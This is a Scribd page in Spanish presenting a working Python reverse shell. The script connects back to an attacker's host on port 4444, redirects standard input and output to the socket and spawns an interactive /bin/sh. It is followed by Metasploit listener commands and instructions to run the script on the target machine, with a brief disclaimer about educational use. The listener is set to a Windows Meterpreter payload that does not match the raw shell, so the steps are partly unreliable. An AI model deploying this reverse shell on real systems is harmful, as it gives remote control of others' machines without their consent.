0% encontró este documento útil (0 votos)
0 vistas3 páginas

Script Python

El script Python proporciona un reverse shell sencillo que establece una conexión TCP con un servidor de control y redirige la entrada/salida estándar para ejecutar una shell interactiva. Se incluye una guía sobre cómo configurar un listener en Metasploit y ejecutar el script en una máquina objetivo. Se enfatiza que el uso del script debe ser solo educativo y en entornos controlados con autorización.

Cargado por

estebroj0101
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
0 vistas3 páginas

Script Python

El script Python proporciona un reverse shell sencillo que establece una conexión TCP con un servidor de control y redirige la entrada/salida estándar para ejecutar una shell interactiva. Se incluye una guía sobre cómo configurar un listener en Metasploit y ejecutar el script en una máquina objetivo. Se enfatiza que el uso del script debe ser solo educativo y en entornos controlados con autorización.

Cargado por

estebroj0101
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd

### ✅ **Script Python (reverse shell sencillo)**

```python

import socket

import os

import subprocess

# Configura la IP y puerto del servidor de control (ej. en Metasploit)

HOST = "[Link]" # IP de tu máquina atacante

PORT = 4444 # Puerto del listener

def main():

try:

# Crear conexión TCP

s = [Link](socket.AF_INET, socket.SOCK_STREAM)

[Link]((HOST, PORT))

print(f"[+] Conectado a {HOST}:{PORT}")

# Redirigir stdin, stdout y stderr al socket

os.dup2([Link](), 0)

os.dup2([Link](), 1)

os.dup2([Link](), 2)

# Ejecutar shell interactiva

[Link](["/bin/sh", "-i"])

except Exception as e:

print(f"[-] Error: {e}")


[Link]()

if __name__ == "__main__":

main()

```

---

### 🔧 **Cómo usarlo**

1. **Configura el listener en Metasploit**:

```bash

msfconsole

use exploit/multi/handler

set LHOST [Link]

set LPORT 4444

set PAYLOAD windows/meterpreter/reverse_tcp

exploit -j

```

2. **Guarda el script como `[Link]`** y ejecútalo en la máquina


objetivo:

```bash

python3 [Link]

```

3. **Verifica la conexión** en Metasploit:

- Si todo funciona, verás un prompt interactivo en tu terminal de


Metasploit.
---

### ⚠️**Nota importante**

- **Este script es solo para uso educativo** en entornos controlados (ej.


en una red virtual o con permiso del dueño).

- **No uses este código en sistemas reales sin autorización**.

- **Siempre trabaja en una red de prueba** (ej. usando una VM o una


red local).

---

### 🧠 **¿Qué hace el script?**

- Establece una conexión TCP con el servidor de control.

- Redirige la entrada/salida estándar (`stdin`, `stdout`, `stderr`) al


socket.

- Ejecuta una shell interactiva (`/bin/sh -i`) para interactuar con la


máquina objetivo.0

También podría gustarte